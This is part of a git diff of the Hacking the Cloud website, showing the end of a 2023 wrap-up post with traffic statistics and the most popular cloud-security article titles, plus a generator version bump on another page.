50.9%, and average monthly visitors 28.6%!</p> <p>The number of total <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud/graphs/contributors>contributors</a> to the site has also increased to 25 (up from 17). A major thank you to everyone who has contributed to building Hacking the Cloud. From the smallest fix of a typo, to writing entire articles, everything helps make the site a better source for cloud security information. All our contributors make this site possible and I appreciate their efforts deeply.</p> <h2 id=most-popular-articles>Most popular articles<a class=headerlink href=#most-popular-articles title="Permanent link">&para;</a></h2> <p>An area that I’m always interested in are our most popular articles. What topics are cloud security professionals interested in learning about? What articles are being shared in Jira tickets to be fixed? Here are the top 5 most popular articles:</p> <ol> <li><a href=https://hackingthe.cloud/aws/exploitation/ec2-metadata-ssrf/ >Steal EC2 Metadata Credentials via SSRF</a> - 16,234 pageviews!</li> <li><a href=https://hackingthe.cloud/aws/general-knowledge/aws_organizations_defaults/ >AWS Organizations Defaults &amp; Pivoting</a> - 15,343 pageviews.</li> <li><a href=https://hackingthe.cloud/azure/abusing-managed-identities/ >Abusing Managed Identities</a> - 5,703 pageviews.</li> <li><a href=https://hackingthe.cloud/aws/general-knowledge/using_stolen_iam_credentials/ >Using Stolen IAM Credentials</a> - 5,594 pageviews.</li> <li><a href=https://hackingthe.cloud/aws/general-knowledge/connection-tracking/ >Connection Tracking</a> - 4,869 pageviews.</li> </ol> <p>For the third year running, “<a href=https://hackingthe.cloud/aws/exploitation/ec2-metadata-ssrf/ >Steal EC2 Metadata Credentials via SSRF</a>” is our most popular article, but unlike previous years it’s not by a landslide. This article, and by extension, this technique, is a cornerstone of AWS security. Stealing IAM credentials from the instance metadata service via SSRF has provided many penetration testers and red teamers the initial access they needed in an environment. Starting next year however, AWS has <a href=https://aws.amazon.com/blogs/aws/amazon-ec2-instance-metadata-service-imdsv2-by-default/ >announced</a> that IMDSv2 will be the only option going forward. Will this mean that this beloved technique will be a thing of the past? I guess we’ll have to check the stats next year.</p> <p>In second place, and very close to first, we have “<a href=https://hackingthe.cloud/aws/general-knowledge/aws_organizations_defaults/ >AWS Organizations Defaults &amp; Pivoting</a>”. I think this rise in viewership can be attested to a growing understanding amongst offensive security professionals that cross-account trust is a huge lateral movement opportunity that can be taken advantage of. This article touches on the <code>OrganizationAccountAccessRole</code>, one of my favorite roles in AWS which potentially can be abused to take over every AWS account in an organization. A major thank you to <a href=https://www.linkedin.com/in/webbinroot/ >Scott Weston</a> for all his efforts in expanding on the article and adding more content.</p> <p>In third place, we have the first non-AWS article to ever make a top 5 (and I’m pretty sure a top 10), “<a href=https://hackingthe.cloud/azure/abusing-managed-identities/ >Abusing Managed Identities</a>”. In this article Andrei Agape describes how you can take advantage of a managed identity to access other Azure resources. As an exclusively AWS person, I’m excited to see more interest in other cloud providers. If you aren’t an AWS person and want to share some knowledge about cloud security, feel free to open a <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud/pulls>pull request</a> and share your knowledge with others!</p> <h2 id=most-popular-social-networks>Most popular social networks<a class=headerlink href=#most-popular-social-networks title="Permanent link">&para;</a></h2> <p>If you’re interested in learning more about cloud security, you may also be interested in discussing with like-minded people. Social media can make that a lot easier. Here are the top social media websites with content that linked to Hacking the Cloud articles that got clicks.</p> <figure> <p><a class=glightbox href=../../images/blog/2023_wrap-up/social_media_counts.png data-type=image data-width=auto data-height=auto data-desc-position=bottom><img alt="Social media counts" src=../../images/blog/2023_wrap-up/social_media_counts.png></a></p> </figure> <ol> <li>LinkedIn - 42% of links</li> <li>Twitter - 30% of links</li> <li>GitHub - 13% of links</li> <li>Reddit - 9% of links</li> <li>Facebook - 6% of links</li> <li>Others - &lt;1%</li> </ol> <p>LinkedIn reigns supreme this year with 42% of all social media links. Perhaps, aside from all the hustle culture, there may be a thriving community of cloud security professionals there.</p> <p>In what may be a surprise to some (but not others), it looks like the InfoSec flight from Twitter might have some data backing it up. Twitter made up only 30% of links in 2023, down from 40% in 2022. </p> <p>For my Mastodon fans, I wouldn’t worry about not showing up on the leaderboards. Because of the distributed nature of the network, there isn’t a very easy way to track it. Personally, I’ve found a number of technical people interested in chatting about tech. If you are on the woolly site you can even follow Hacking the Cloud on <a href=https://infosec.exchange/@hackingthecloud>Mastodon</a>!</p> <h2 id=thank-you>Thank you!<a class=headerlink href=#thank-you title="Permanent link">&para;</a></h2> <p>Again, I want to say thank you to everyone who has shared the site’s content, contributed to making it better, or even for just saying a kind word. Hacking the Cloud has been a passion project for years now, trying to make cloud security information more accessible for the community. Thank you all for an amazing 2023, and I look forward to 2024!</p> <aside class=md-source-file> <span class=md-source-file__fact> <span class=md-icon title="Last update"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M21 13.1c-.1 0-.3.1-.4.2l-1 1 2.1 2.1 1-1c.2-.2.2-.6 0-.8l-1.3-1.3c-.1-.1-.2-.2-.4-.2m-1.9 1.8-6.1 6V23h2.1l6.1-6.1zM12.5 7v5.2l4 2.4-1 1L11 13V7zM11 21.9c-5.1-.5-9-4.8-9-9.9C2 6.5 6.5 2 12 2c5.3 0 9.6 4.1 10 9.3-.3-.1-.6-.2-1-.2s-.7.1-1 .2C19.6 7.2 16.2 4 12 4c-4.4 0-8 3.6-8 8 0 4.1 3.1 7.5 7.1 7.9l-.1.2z"/></svg> </span> <span class="git-revision-date-localized-plugin git-revision-date-localized-plugin-date">February 19, 2024</span> </span> <span class=md-source-file__fact> <span class=md-icon title=Created> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M14.47 15.08 11 13V7h1.5v5.25l3.08 1.83c-.41.28-.79.62-1.11 1m-1.39 4.84c-.36.05-.71.08-1.08.08-4.42 0-8-3.58-8-8s3.58-8 8-8 8 3.58 8 8c0 .37-.03.72-.08 1.08.69.1 1.33.32 1.92.64.1-.56.16-1.13.16-1.72 0-5.5-4.5-10-10-10S2 6.5 2 12s4.47 10 10 10c.59 0 1.16-.06 1.72-.16-.32-.59-.54-1.23-.64-1.92M18 15v3h-3v2h3v3h2v-3h3v-2h-3v-3z"/></svg> </span> <span class="git-revision-date-localized-plugin git-revision-date-localized-plugin-date">December 20, 2023</span> </span> <span class=md-source-file__fact> <span class=md-icon title=Contributors> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M12 2A10 10 0 0 0 2 12c0 4.42 2.87 8.17 6.84 9.5.5.08.66-.23.66-.5v-1.69c-2.77.6-3.36-1.34-3.36-1.34-.46-1.16-1.11-1.47-1.11-1.47-.91-.62.07-.6.07-.6 1 .07 1.53 1.03 1.53 1.03.87 1.52 2.34 1.07 2.91.83.09-.65.35-1.09.63-1.34-2.22-.25-4.55-1.11-4.55-4.92 0-1.11.38-2 1.03-2.71-.1-.25-.45-1.29.1-2.64 0 0 .84-.27 2.75 1.02.79-.22 1.65-.33 2.5-.33s1.71.11 2.5.33c1.91-1.29 2.75-1.02 2.75-1.02.55 1.35.2 2.39.1 2.64.65.71 1.03 1.6 1.03 2.71 0 3.82-2.34 4.66-4.57 4.91.36.31.69.92.69 1.85V21c0 .27.16.59.67.5C19.14 20.16 22 16.42 22 12A10 10 0 0 0 12 2"/></svg> </span> <span>GitHub</span> <nav> <a href=https://github.com/Frichetten class=md-author title=@Frichetten> <img src="https://avatars.githubusercontent.com/u/10386884?v=4&size=72" alt=Frichetten> </a> </nav> </span> </aside> </article> </div> <script>var target=document.getElementById(location.hash.slice(1));target&&target.name&&(target.checked=target.name.startsWith("__tabbed_"))</script> </div> </main> <footer class=md-footer> <div class="md-footer-meta md-typeset"> <div class="md-footer-meta__inner md-grid"> <div class=md-copyright> Made with <a href=https://squidfunk.github.io/mkdocs-material/ target=_blank rel=noopener> Material for MkDocs Insiders </a> </div> <div class=md-social> <a href=https://infosec.exchange/@hackingthecloud target=_blank rel="noopener me" title=infosec.exchange class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 448 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M433 179.11c0-97.2-63.71-125.7-63.71-125.7-62.52-28.7-228.56-28.4-290.48 0 0 0-63.72 28.5-63.72 125.7 0 115.7-6.6 259.4 105.63 289.1 40.51 10.7 75.32 13 103.33 11.4 50.81-2.8 79.32-18.1 79.32-18.1l-1.7-36.9s-36.31 11.4-77.12 10.1c-40.41-1.4-83-4.4-89.63-54a102.5 102.5 0 0 1-.9-13.9c85.63 20.9 158.65 9.1 178.75 6.7 56.12-6.7 105-41.3 111.23-72.9 9.8-49.8 9-121.5 9-121.5m-75.12 125.2h-46.63v-114.2c0-49.7-64-51.6-64 6.9v62.5h-46.33V197c0-58.5-64-56.6-64-6.9v114.2H90.19c0-122.1-5.2-147.9 18.41-175 25.9-28.9 79.82-30.8 103.83 6.1l11.6 19.5 11.6-19.5c24.11-37.1 78.12-34.8 103.83-6.1 23.71 27.3 18.4 53 18.4 175z"/></svg> </a> <a href=https://bsky.app/profile/hackingthe.cloud target=_blank rel=noopener title=bsky.app class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M111.8 62.2C170.2 105.9 233 194.7 256 242.4c23-47.6 85.8-136.4 144.2-180.2 42.1-31.6 110.3-56 110.3 21.8 0 15.5-8.9 130.5-14.1 149.2-18.2 64.8-84.4 81.4-143.3 71.3C456 322 482.2 380 425.6 438c-107.4 110.2-154.3-27.6-166.3-62.9-1.7-4.9-2.6-7.8-3.3-7.8s-1.6 3-3.3 7.8c-12 35.3-59 173.1-166.3 62.9-56.5-58-30.4-116 72.5-133.5C100 314.6 33.8 298 15.7 233.1 10.4 214.4 1.5 99.4 1.5 83.9c0-77.8 68.2-53.4 110.3-21.8z"/></svg> </a> <a href=https://x.com/HackingthCloud target=_blank rel=noopener title=x.com class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M459.37 151.716c.325 4.548.325 9.097.325 13.645 0 138.72-105.583 298.558-298.558 298.558-59.452 0-114.68-17.219-161.137-47.106 8.447.974 16.568 1.299 25.34 1.299 49.055 0 94.213-16.568 130.274-44.832-46.132-.975-84.792-31.188-98.112-72.772 6.498.974 12.995 1.624 19.818 1.624 9.421 0 18.843-1.3 27.614-3.573-48.081-9.747-84.143-51.98-84.143-102.985v-1.299c13.969 7.797 30.214 12.67 47.431 13.319-28.264-18.843-46.781-51.005-46.781-87.391 0-19.492 5.197-37.36 14.294-52.954 51.655 63.675 129.3 105.258 216.365 109.807-1.624-7.797-2.599-15.918-2.599-24.04 0-57.828 46.782-104.934 104.934-104.934 30.213 0 57.502 12.67 76.67 33.137 23.715-4.548 46.456-13.32 66.599-25.34-7.798 24.366-24.366 44.833-46.132 57.827 21.117-2.273 41.584-8.122 60.426-16.243-14.292 20.791-32.161 39.308-52.628 54.253"/></svg> </a> <a href=https://www.linkedin.com/company/hacking-the-cloud/ target=_blank rel=noopener title=www.linkedin.com class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 448 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M416 32H31.9C14.3 32 0 46.5 0 64.3v383.4C0 465.5 14.3 480 31.9 480H416c17.6 0 32-14.5 32-32.3V64.3c0-17.8-14.4-32.3-32-32.3M135.4 416H69V202.2h66.5V416zm-33.2-243c-21.3 0-38.5-17.3-38.5-38.5S80.9 96 102.2 96c21.2 0 38.5 17.3 38.5 38.5 0 21.3-17.2 38.5-38.5 38.5m282.1 243h-66.4V312c0-24.8-.5-56.7-34.5-56.7-34.6 0-39.9 27-39.9 54.9V416h-66.4V202.2h63.7v29.2h.9c8.9-16.8 30.6-34.5 62.9-34.5 67.2 0 79.7 44.3 79.7 101.9z"/></svg> </a> <a href=https://github.com/Hacking-the-Cloud target=_blank rel=noopener title=github.com class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </a> <a href=https://hackingthe.cloud/feed_rss_created.xml target=_blank rel=noopener title=hackingthe.cloud class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 448 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M0 64c0-17.7 14.3-32 32-32 229.8 0 416 186.2 416 416 0 17.7-14.3 32-32 32s-32-14.3-32-32C384 253.6 226.4 96 32 96 14.3 96 0 81.7 0 64m0 352a64 64 0 1 1 128 0 64 64 0 1 1-128 0m32-256c159.1 0 288 128.9 288 288 0 17.7-14.3 32-32 32s-32-14.3-32-32c0-123.7-100.3-224-224-224-17.7 0-32-14.3-32-32s14.3-32 32-32"/></svg> </a> </div> </div> </div> </footer> </div> <div class=md-dialog data-md-component=dialog> <div class="md-dialog__inner md-typeset"></div> </div> <script id=__config type=application/json>{"base": "../..", "features": ["navigation.tabs", "navigation.indexes", "content.action.edit"], "search": "../../assets/javascripts/workers/search.c7c1ca2c.min.js", "translations": {"clipboard.copied": "Copied to clipboard", "clipboard.copy": "Copy to clipboard", "search.result.more.one": "1 more on this page", "search.result.more.other": "# more on this page", "search.result.none": "No matching documents", "search.result.one": "1 matching document", "search.result.other": "# matching documents", "search.result.placeholder": "Type to start searching", "search.result.term.missing": "Missing", "select.version": "Select version"}}</script> <script src=../../assets/javascripts/bundle.203fd0bc.min.js></script> <script src=../../javascripts/matomo.min.js></script> <script id="init-glightbox">const lightbox = GLightbox({"touchNavigation": true, "loop": false, "zoomable": true, "draggable": true, "openEffect": "zoom", "closeEffect": "zoom", "slideEffect": "slide"});
 document$.subscribe(() => { lightbox.reload() });
 </script></body> </html>
\ No newline at end of file
diff --git a/blog/v2_new_look/index.html b/blog/v2_new_look/index.html
index 9bd004c68..434002fab 100644
--- a/blog/v2_new_look/index.html
+++ b/blog/v2_new_look/index.html
@@ -1,4 +1,4 @@
-<!doctype html><html lang=en class=no-js> <head><meta charset=utf-8><meta name=viewport content="width=device-width,initial-scale=1"><meta name=description content="All about the new look for Hacking The Cloud v2."><link href=https://hackingthe.cloud/blog/v2_new_look/ rel=canonical><link href=../2023_wrap-up/ rel=prev><link href=../../gcp/capture_the_flag/gcp-goat/ rel=next><link rel=alternate type=application/rss+xml title="RSS feed" href=../../feed_rss_created.xml><link rel=alternate type=application/rss+xml title="RSS feed of updated content" href=../../feed_rss_updated.xml><link rel=icon href=../../assets/favicon.png><meta name=generator content="mkdocs-1.6.1, mkdocs-material-9.5.46+insiders-4.53.14"><title>Hacking The Cloud v2: New Look - Hacking The Cloud</title><link rel=stylesheet href=../../assets/stylesheets/main.d0dfab1c.min.css><link rel=stylesheet href=../../assets/stylesheets/palette.ab4e12ef.min.css><link rel=preconnect href=https://fonts.gstatic.com crossorigin><link rel=stylesheet href="https://fonts.googleapis.com/css?family=Roboto:300,300i,400,400i,700,700i%7CRoboto+Mono:400,400i,700,700i&display=fallback"><style>:root{--md-text-font:"Roboto";--md-code-font:"Roboto Mono"}</style><link rel=stylesheet href=../../stylesheets/extra.css><script>__md_scope=new URL("../..",location),__md_hash=e=>[...e].reduce(((e,_)=>(e<<5)-e+_.charCodeAt(0)),0),__md_get=(e,_=localStorage,t=__md_scope)=>JSON.parse(_.getItem(t.pathname+"."+e)),__md_set=(e,_,t=localStorage,a=__md_scope)=>{try{t.setItem(a.pathname+"."+e,JSON.stringify(_))}catch(e){}}</script><meta property=og:type content=website><meta property=og:title content="Hacking The Cloud v2: New Look - Hacking The Cloud"><meta property=og:description content="All about the new look for Hacking The Cloud v2."><meta property=og:image content=https://hackingthe.cloud/assets/images/social/blog/v2_new_look.png><meta property=og:image:type content=image/png><meta property=og:image:width content=1200><meta property=og:image:height content=630><meta content=https://hackingthe.cloud/blog/v2_new_look/ property=og:url><meta property=twitter:card content=summary_large_image><meta property=twitter:title content="Hacking The Cloud v2: New Look - Hacking The Cloud"><meta property=twitter:description content="All about the new look for Hacking The Cloud v2."><meta property=twitter:image content=https://hackingthe.cloud/assets/images/social/blog/v2_new_look.png> <link href="../../assets/stylesheets/glightbox.min.css" rel="stylesheet"/><style>
+<!doctype html><html lang=en class=no-js> <head><meta charset=utf-8><meta name=viewport content="width=device-width,initial-scale=1"><meta name=description content="All about the new look for Hacking The Cloud v2."><link href=https://hackingthe.cloud/blog/v2_new_look/ rel=canonical><link href=../2023_wrap-up/ rel=prev><link href=../../gcp/capture_the_flag/gcp-goat/ rel=next><link rel=alternate type=application/rss+xml title="RSS feed" href=../../feed_rss_created.xml><link rel=alternate type=application/rss+xml title="RSS feed of updated content" href=../../feed_rss_updated.xml><link rel=icon href=../../assets/favicon.png><meta name=generator content="mkdocs-1.6.1, mkdocs-material-9.5.47+insiders-4.53.14"><title>Hacking The Cloud v2: New Look - Hacking The Cloud</title><link rel=stylesheet href=../../assets/stylesheets/main.d0dfab1c.min.css><link rel=stylesheet href=../../assets/stylesheets/palette.ab4e12ef.min.css><link rel=preconnect href=https://fonts.gstatic.com crossorigin><link rel=stylesheet href="https://fonts.googleapis.com/css?family=Roboto:300,300i,400,400i,700,700i%7CRoboto+Mono:400,400i,700,700i&display=fallback"><style>:root{--md-text-font:"Roboto";--md-code-font:"Roboto Mono"}</style><link rel=stylesheet href=../../stylesheets/extra.css><script>__md_scope=new URL("../..",location),__md_hash=e=>[...e].reduce(((e,_)=>(e<<5)-e+_.charCodeAt(0)),0),__md_get=(e,_=localStorage,t=__md_scope)=>JSON.parse(_.getItem(t.pathname+"."+e)),__md_set=(e,_,t=localStorage,a=__md_scope)=>{try{t.setItem(a.pathname+"."+e,JSON.stringify(_))}catch(e){}}</script><meta property=og:type content=website><meta property=og:title content="Hacking The Cloud v2: New Look - Hacking The Cloud"><meta property=og:description content="All about the new look for Hacking The Cloud v2."><meta property=og:image content=https://hackingthe.cloud/assets/images/social/blog/v2_new_look.png><meta property=og:image:type content=image/png><meta property=og:image:width content=1200><meta property=og:image:height content=630><meta content=https://hackingthe.cloud/blog/v2_new_look/ property=og:url><meta property=twitter:card content=summary_large_image><meta property=twitter:title content="Hacking The Cloud v2: New Look - Hacking The Cloud"><meta property=twitter:description content="All about the new look for Hacking The Cloud v2."><meta property=twitter:image content=https://hackingthe.cloud/assets/images/social/blog/v2_new_look.png> <link href="../../assets/stylesheets/glightbox.min.css" rel="stylesheet"/><style>
     html.glightbox-open { overflow: initial; height: 100%; }
     .gslide-title { margin-top: 0px; user-select: text; }
     .gslide-desc { color: #666; user-select: text; }
@@ -7,6 +7,6 @@
     .gdesc-inner { font-size: 0.75rem; }
     body[data-md-color-scheme="slate"] .gdesc-inner { background: var(--md-default-bg-color);}
     body[data-md-color-scheme="slate"] .gslide-title { color: var(--md-default-fg-color);}
-    body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}</style> <script src="../../assets/javascripts/glightbox.min.js"></script></head> <body dir=ltr data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo> <input class=md-toggle data-md-toggle=drawer type=checkbox id=__drawer autocomplete=off> <input class=md-toggle data-md-toggle=search type=checkbox id=__search autocomplete=off> <label class=md-overlay for=__drawer></label> <div data-md-component=skip> <a href=#why-the-change class=md-skip> Skip to content </a> </div> <div data-md-component=announce> <aside class=md-banner> <div class="md-banner__inner md-grid md-typeset"> For updates follow <strong>Nick Frichette</strong> on <a rel=me href=https://bsky.app/profile/frichetten.com> <span class="twemoji bluesky"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M111.8 62.2C170.2 105.9 233 194.7 256 242.4c23-47.6 85.8-136.4 144.2-180.2 42.1-31.6 110.3-56 110.3 21.8 0 15.5-8.9 130.5-14.1 149.2-18.2 64.8-84.4 81.4-143.3 71.3C456 322 482.2 380 425.6 438c-107.4 110.2-154.3-27.6-166.3-62.9-1.7-4.9-2.6-7.8-3.3-7.8s-1.6 3-3.3 7.8c-12 35.3-59 173.1-166.3 62.9-56.5-58-30.4-116 72.5-133.5C100 314.6 33.8 298 15.7 233.1 10.4 214.4 1.5 99.4 1.5 83.9c0-77.8 68.2-53.4 110.3-21.8z"/></svg> </span> <strong>Bluesky</strong> </a>. </div> </aside> </div> <header class=md-header data-md-component=header> <nav class="md-header__inner md-grid" aria-label=Header> <a href=../.. title="Hacking The Cloud" class="md-header__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../assets/logo.png alt=logo> </a> <label class="md-header__button md-icon" for=__drawer> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M3 6h18v2H3zm0 5h18v2H3zm0 5h18v2H3z"/></svg> </label> <div class=md-header__title data-md-component=header-title> <div class=md-header__ellipsis> <div class=md-header__topic> <span class=md-ellipsis> Hacking The Cloud </span> </div> <div class=md-header__topic data-md-component=header-topic> <span class=md-ellipsis> Hacking The Cloud v2: New Look </span> </div> </div> </div> <form class=md-header__option data-md-component=palette> <input class=md-option data-md-color-media data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Dark Mode" type=radio name=__palette id=__palette_0> <label class="md-header__button md-icon" title="Switch to Dark Mode" for=__palette_1 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 6H7c-3.31 0-6 2.69-6 6s2.69 6 6 6h10c3.31 0 6-2.69 6-6s-2.69-6-6-6m0 10H7c-2.21 0-4-1.79-4-4s1.79-4 4-4h10c2.21 0 4 1.79 4 4s-1.79 4-4 4M7 9c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3"/></svg> </label> <input class=md-option data-md-color-media data-md-color-scheme=default data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Light Mode" type=radio name=__palette id=__palette_1> <label class="md-header__button md-icon" title="Switch to Light Mode" for=__palette_0 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 7H7a5 5 0 0 0-5 5 5 5 0 0 0 5 5h10a5 5 0 0 0 5-5 5 5 0 0 0-5-5m0 8a3 3 0 0 1-3-3 3 3 0 0 1 3-3 3 3 0 0 1 3 3 3 3 0 0 1-3 3"/></svg> </label> </form> <script>var palette=__md_get("__palette");if(palette&&palette.color){if("(prefers-color-scheme)"===palette.color.media){var media=matchMedia("(prefers-color-scheme: light)"),input=document.querySelector(media.matches?"[data-md-color-media='(prefers-color-scheme: light)']":"[data-md-color-media='(prefers-color-scheme: dark)']");palette.color.media=input.getAttribute("data-md-color-media"),palette.color.scheme=input.getAttribute("data-md-color-scheme"),palette.color.primary=input.getAttribute("data-md-color-primary"),palette.color.accent=input.getAttribute("data-md-color-accent")}for(var[key,value]of Object.entries(palette.color))document.body.setAttribute("data-md-color-"+key,value)}</script> <label class="md-header__button md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> </label> <div class=md-search data-md-component=search role=dialog> <label class=md-search__overlay for=__search></label> <div class=md-search__inner role=search> <form class=md-search__form name=search> <input type=text class=md-search__input name=query aria-label=Search placeholder=Search autocapitalize=off autocorrect=off autocomplete=off spellcheck=false data-md-component=search-query required> <label class="md-search__icon md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M20 11v2H8l5.5 5.5-1.42 1.42L4.16 12l7.92-7.92L13.5 5.5 8 11z"/></svg> </label> <nav class=md-search__options aria-label=Search> <button type=reset class="md-search__icon md-icon" title=Clear aria-label=Clear tabindex=-1> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M19 6.41 17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12z"/></svg> </button> </nav> </form> <div class=md-search__output> <div class=md-search__scrollwrap tabindex=0 data-md-scrollfix> <div class=md-search-result data-md-component=search-result> <div class=md-search-result__meta> Initializing search </div> <ol class=md-search-result__list role=presentation></ol> </div> </div> </div> </div> </div> <div class=md-header__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 